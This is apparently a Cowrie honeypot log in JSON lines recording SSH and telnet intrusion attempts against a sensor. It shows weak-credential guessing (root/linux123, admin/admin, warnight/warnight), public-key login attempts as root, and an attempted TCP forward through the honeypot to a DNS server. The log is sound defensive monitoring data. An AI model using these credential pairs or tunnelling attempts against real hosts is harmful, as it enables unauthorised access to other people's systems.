{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:48:43.386579Z","src_ip":"200.39.46.41","session":"acad1db93a02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:48:43.981505Z","src_ip":"200.39.46.41","session":"acad1db93a02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:48:45.124966Z","src_ip":"200.39.46.41","session":"acad1db93a02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":16628,"dst_ip":"10.17.0.5","dst_port":22,"session":"adfa6f845f91","protocol":"ssh","message":"New connection: 87.251.64.176:16628 (10.17.0.5:22) [session: adfa6f845f91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:49:10.497127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:49:10.501969Z","src_ip":"87.251.64.176","session":"adfa6f845f91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:49:10.601714Z","src_ip":"87.251.64.176","session":"adfa6f845f91","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:49:10.891486Z","src_ip":"87.251.64.176","session":"adfa6f845f91","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:49:10.995387Z","session":"adfa6f845f91","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:49:11.094014Z","src_ip":"87.251.64.176","session":"adfa6f845f91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:49:11.202445Z","src_ip":"87.251.64.176","session":"adfa6f845f91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":49084,"dst_ip":"10.17.0.5","dst_port":22,"session":"4560a6c21403","protocol":"ssh","message":"New connection: 45.137.172.116:49084 (10.17.0.5:22) [session: 4560a6c21403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:49:12.654863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:49:12.660854Z","src_ip":"45.137.172.116","session":"4560a6c21403","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:49:12.757394Z","src_ip":"45.137.172.116","session":"4560a6c21403","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"warnight","password":"warnight","message":"login attempt [warnight/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:49:13.184828Z","src_ip":"45.137.172.116","session":"4560a6c21403","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:49:14.283654Z","src_ip":"45.137.172.116","session":"4560a6c21403","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.62.60.125","src_port":37935,"dst_ip":"159.203.135.109","dst_port":23,"session":"43df526c2f39","protocol":"telnet","message":"New connection: 202.62.60.125:37935 (159.203.135.109:23) [session: 43df526c2f39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:49:51.620541Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.0.104.39","src_port":44858,"dst_ip":"10.17.0.5","dst_port":22,"session":"f938934c0665","protocol":"ssh","message":"New connection: 128.0.104.39:44858 (10.17.0.5:22) [session: f938934c0665]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:49:53.002291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:49:53.007795Z","src_ip":"128.0.104.39","session":"f938934c0665","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:49:53.136457Z","src_ip":"128.0.104.39","session":"f938934c0665","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1c:28:e3:6f:0d:9e:d7:88:27:34:1b:3d:19:1d:4e:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfjKDSQmadra3S38fI4HxjCEruD17ZmcPG/2J6hSGvsYqRnADNd/MQgxBDO+XL8vMWzhV6wZ/60T0jD2OKHfew2Mw4p3I0Hde70y0afuvT6EiA2xxSk0DHORrr4OHbdQNd3+lUwEE5n/P7jBwgCMQIhj9wHJBgR0t3mmzkJUGVjVG5EwSn2YS3yL+LizVWSteS/y5ofi1n0Lsnz/zbmBvCHRNivMad4cLwP9YacsOjUWhqs0W9l+63q5tM/FI7Xq8DS/GXsU2FE/XJev2sFJNoxG5T8EmttDlnZgOfiPiPeWuJKAIKQHeHotjBuNQGVh4VuEEEOEul+Xvg5nV8QY7d","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1c:28:e3:6f:0d:9e:d7:88:27:34:1b:3d:19:1d:4e:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:49:53.728993Z","src_ip":"128.0.104.39","session":"f938934c0665","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1c:28:e3:6f:0d:9e:d7:88:27:34:1b:3d:19:1d:4e:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfjKDSQmadra3S38fI4HxjCEruD17ZmcPG/2J6hSGvsYqRnADNd/MQgxBDO+XL8vMWzhV6wZ/60T0jD2OKHfew2Mw4p3I0Hde70y0afuvT6EiA2xxSk0DHORrr4OHbdQNd3+lUwEE5n/P7jBwgCMQIhj9wHJBgR0t3mmzkJUGVjVG5EwSn2YS3yL+LizVWSteS/y5ofi1n0Lsnz/zbmBvCHRNivMad4cLwP9YacsOjUWhqs0W9l+63q5tM/FI7Xq8DS/GXsU2FE/XJev2sFJNoxG5T8EmttDlnZgOfiPiPeWuJKAIKQHeHotjBuNQGVh4VuEEEOEul+Xvg5nV8QY7d","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:49:53.732106Z","src_ip":"128.0.104.39","session":"f938934c0665","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1a:76:0b:ea:cc:98:44:2a:8f:37:17:9a:07:0e:92:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCtdmyJIbubuS9NLpMkfgL5g/p4eD+Z3ZwOdBMHCCVp3Drr8kTUEg1u3S1Dru+bFSin7HhR3uwPCZF6QQmjx7+S6C6DdOfdsn+R00MoLKvMgGfK7gcS7070rGoLX8MJ17O/umHiV83qpsB2lgKot/BapxYxXDVr0QFBAoIu157Y5gx6rwtwlvH9uLw4Whxxo5Q3FDvo7G2NtgKcx4n+lthu5+RvBzDqQtOmdcsHaswYyUs3PMhCjMFF2JoXD6Tdo3YNryDvJWGJpEGKW76pBodNHmJVTHsUTxu90rh+XoloeW9Mo3jihrCVDTpcq104D//kdTkbb84oW1OIPh11IDyYnQavBgSFmeOJ/T1DPtYp+YChkpTy2hTVPP9oRCvvGwkH6kCrniLFOutVifAtl2Vw0BtmjWBIuXKYV/WYQSIm0I75tcDFb1aahURksca//CWWpo5P8zzy5C4aA2AemfWEBgL28tVoRvLIYFxzHPrfVnI+wVfSwjZI47fh+xEVWwRmr4NyfYQJ0lHOp9cQnlJhqrBLfe9Go0ZUNiLKcAjmyIG9cZcshOu76ThdDHwRJLgDXfshv2u3HCN5lUrlWlhghD6m6ccf4BE4pp4nrN1Un/rpZRGqejmSNhBGx0SX5eFFEh8iQf6f4m1YAv+MtgX6f6i0Qj1iZ1hMHnO2tSu12w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1a:76:0b:ea:cc:98:44:2a:8f:37:17:9a:07:0e:92:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:49:53.854489Z","src_ip":"128.0.104.39","session":"f938934c0665","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1a:76:0b:ea:cc:98:44:2a:8f:37:17:9a:07:0e:92:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCtdmyJIbubuS9NLpMkfgL5g/p4eD+Z3ZwOdBMHCCVp3Drr8kTUEg1u3S1Dru+bFSin7HhR3uwPCZF6QQmjx7+S6C6DdOfdsn+R00MoLKvMgGfK7gcS7070rGoLX8MJ17O/umHiV83qpsB2lgKot/BapxYxXDVr0QFBAoIu157Y5gx6rwtwlvH9uLw4Whxxo5Q3FDvo7G2NtgKcx4n+lthu5+RvBzDqQtOmdcsHaswYyUs3PMhCjMFF2JoXD6Tdo3YNryDvJWGJpEGKW76pBodNHmJVTHsUTxu90rh+XoloeW9Mo3jihrCVDTpcq104D//kdTkbb84oW1OIPh11IDyYnQavBgSFmeOJ/T1DPtYp+YChkpTy2hTVPP9oRCvvGwkH6kCrniLFOutVifAtl2Vw0BtmjWBIuXKYV/WYQSIm0I75tcDFb1aahURksca//CWWpo5P8zzy5C4aA2AemfWEBgL28tVoRvLIYFxzHPrfVnI+wVfSwjZI47fh+xEVWwRmr4NyfYQJ0lHOp9cQnlJhqrBLfe9Go0ZUNiLKcAjmyIG9cZcshOu76ThdDHwRJLgDXfshv2u3HCN5lUrlWlhghD6m6ccf4BE4pp4nrN1Un/rpZRGqejmSNhBGx0SX5eFFEh8iQf6f4m1YAv+MtgX6f6i0Qj1iZ1hMHnO2tSu12w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:49:53.858825Z","src_ip":"128.0.104.39","session":"f938934c0665","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ca:69:16:b2:9e:17:f3:3d:16:78:07:75:8d:b4:f1:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5WlHFMKUbIJYDDNXA7yCy1+cD14tqixwp8U6kO52fbn/t29wgWcL4KQqeADazf8sLbNNDD9rFSrt5G5bFdtizyvi2NTKoWx7FUtxch4d6irEFpyGSkghA9A84mY28rOnSB+M3gbGHrF+6Lpzqd/BlHd/EXL8AgbNbnZDMTofT89dwowgAXYQOz2UmZHsOzk3QKk8diEEuZJyEiQbv1EfpixljeLSvNXDxJktY67LUR6FSKWINWvKGiijfsc+4sOKSHP/RChk+xPZCLtj84KRFP2jytT/2ifR2Nsvn7u56glZM1Y4VovpLwTpq0i5whycXEVgXsWe7to88nNKPeFLIzW7hme1wYJaOYbk/BU/AHvOAfDJi0KgmM3HMiWGhCgHVpIhvLOm+zc06S3k1FCiMwtOFlYlIzc7KS4axFjqgLjMazLRDXe9r3Bi/Hk6mixxNXd7J00/sUPeoXnU4m9XMppRQVjV+jp8STpe8dwwyRen/QcUcrrJFb0qU1JWwkuaJEIJ/WresAcEcBBnlV5OSgxIy3wfdK8lgbSiZAT+ccBSyybt97FOD8VRIL/Echjd6vc75leGLlCTeue+ZrsM/d9AoTfyRLWrGITWgC33CqiMmziALExYsX4OdxULdzql6hvD0UJPPZ7GQ4dJ4yiEgaw7jkh+xN8WgillwHXMscw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ca:69:16:b2:9e:17:f3:3d:16:78:07:75:8d:b4:f1:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:49:53.983763Z","src_ip":"128.0.104.39","session":"f938934c0665","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ca:69:16:b2:9e:17:f3:3d:16:78:07:75:8d:b4:f1:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5WlHFMKUbIJYDDNXA7yCy1+cD14tqixwp8U6kO52fbn/t29wgWcL4KQqeADazf8sLbNNDD9rFSrt5G5bFdtizyvi2NTKoWx7FUtxch4d6irEFpyGSkghA9A84mY28rOnSB+M3gbGHrF+6Lpzqd/BlHd/EXL8AgbNbnZDMTofT89dwowgAXYQOz2UmZHsOzk3QKk8diEEuZJyEiQbv1EfpixljeLSvNXDxJktY67LUR6FSKWINWvKGiijfsc+4sOKSHP/RChk+xPZCLtj84KRFP2jytT/2ifR2Nsvn7u56glZM1Y4VovpLwTpq0i5whycXEVgXsWe7to88nNKPeFLIzW7hme1wYJaOYbk/BU/AHvOAfDJi0KgmM3HMiWGhCgHVpIhvLOm+zc06S3k1FCiMwtOFlYlIzc7KS4axFjqgLjMazLRDXe9r3Bi/Hk6mixxNXd7J00/sUPeoXnU4m9XMppRQVjV+jp8STpe8dwwyRen/QcUcrrJFb0qU1JWwkuaJEIJ/WresAcEcBBnlV5OSgxIy3wfdK8lgbSiZAT+ccBSyybt97FOD8VRIL/Echjd6vc75leGLlCTeue+ZrsM/d9AoTfyRLWrGITWgC33CqiMmziALExYsX4OdxULdzql6hvD0UJPPZ7GQ4dJ4yiEgaw7jkh+xN8WgillwHXMscw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:49:53.987936Z","src_ip":"128.0.104.39","session":"f938934c0665","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:94:94:35:19:e2:86:33:cd:e1:a5:55:1a:89:ad:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDD3kiJlq/bfzXOxrG6zIkTdNygPGpIR9O+4P3cu5q+8I2a55FydTzVX0DYp2oSp0h7fhsU1ni4u76+kOXtJFCQ8ddl2PNuIfr7inJTskxLfjK/HtKQXdP0c/mS5lR5Z5nbfaZnDlsO46sjt7NgNexUphVEvmSUql+6gGyyRVuvV2JQQFpdBGgfugWX2MquUP0nJgH+kFEKUnDdCttcg3CbVrBo1E4AMFKrTh44ESJQzMwTRFCQXfZYxl5WtFcLtMviJcwBv/X01O6sNh1oWy7BPZjzqt3QD6l4ohn/5ZQn9DAsrp8ZwPnS2ua+NpOmd+efcgd0EAX0AIeIya/Odi0agKJdsCd9EQcQiGnk5BuGoTxLHm954khxbkfNLG9D1XYJUbdTqA+szj5Z253mk6bP5kcu7ql5ssJHjE3ZlY8ZhBtEDFMPRKDo9mo+2I5RuysCPZprtnZY6Pj6hrF2eE6UWp8yAAoPk5eLwHZ+gjyJ5gfgFr6In+mJJf9sDbwq+epSdft8wJSqupBSjtpJtrK7x3Xam54pG9F1JRzBK+2KgJ3ZvjkZgPdy+4a1y6OUdYD2WEQhwvSfb6Sasdtka+Cl1AYsjk8P3zkWOCcf/FKlpfD+kNar1bDKusPsFl2pNbBcY1KPBXoDylA+1xZBmGBk85KWPRq9QW1oymcZsrkKPw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f9:94:94:35:19:e2:86:33:cd:e1:a5:55:1a:89:ad:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:49:54.111222Z","src_ip":"128.0.104.39","session":"f938934c0665","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:94:94:35:19:e2:86:33:cd:e1:a5:55:1a:89:ad:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDD3kiJlq/bfzXOxrG6zIkTdNygPGpIR9O+4P3cu5q+8I2a55FydTzVX0DYp2oSp0h7fhsU1ni4u76+kOXtJFCQ8ddl2PNuIfr7inJTskxLfjK/HtKQXdP0c/mS5lR5Z5nbfaZnDlsO46sjt7NgNexUphVEvmSUql+6gGyyRVuvV2JQQFpdBGgfugWX2MquUP0nJgH+kFEKUnDdCttcg3CbVrBo1E4AMFKrTh44ESJQzMwTRFCQXfZYxl5WtFcLtMviJcwBv/X01O6sNh1oWy7BPZjzqt3QD6l4ohn/5ZQn9DAsrp8ZwPnS2ua+NpOmd+efcgd0EAX0AIeIya/Odi0agKJdsCd9EQcQiGnk5BuGoTxLHm954khxbkfNLG9D1XYJUbdTqA+szj5Z253mk6bP5kcu7ql5ssJHjE3ZlY8ZhBtEDFMPRKDo9mo+2I5RuysCPZprtnZY6Pj6hrF2eE6UWp8yAAoPk5eLwHZ+gjyJ5gfgFr6In+mJJf9sDbwq+epSdft8wJSqupBSjtpJtrK7x3Xam54pG9F1JRzBK+2KgJ3ZvjkZgPdy+4a1y6OUdYD2WEQhwvSfb6Sasdtka+Cl1AYsjk8P3zkWOCcf/FKlpfD+kNar1bDKusPsFl2pNbBcY1KPBXoDylA+1xZBmGBk85KWPRq9QW1oymcZsrkKPw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:49:54.114676Z","src_ip":"128.0.104.39","session":"f938934c0665","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6e:bb:79:94:ad:59:ba:e4:35:ab:db:4d:c5:62:27:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyxMcBnowv1Paaj5Gn2b1tfbCb3Qli8ozD6NtMd/8p0osYoYFjjh9l7CgPtTeMD0J6wH91D9LEOEm2x4ErQnAZ7chuJVelqAE0KsSKnYodhM4UoJNshDO6b+gzxJCc/KqGPMNsD+GLj3Khadf0k8frC/W/J923J23jqfXdteMgMmDag+wWUMYjLN8o2H1s2EVfoaW0tA0XZDF0n1kuxDlTt/FHJwkOYko6rnMpQHeIvGCvt1Kyc8baB9M4zR0itUokhvty7RdwfEOjiH4uj+msMePrfLgNOOupX369TFckE/3B/U05G0bWgPPncLPW3H6U7CpvM0E0uzFkILkAec2tw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6e:bb:79:94:ad:59:ba:e4:35:ab:db:4d:c5:62:27:eb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:49:54.240350Z","src_ip":"128.0.104.39","session":"f938934c0665","protocol":"ssh"}
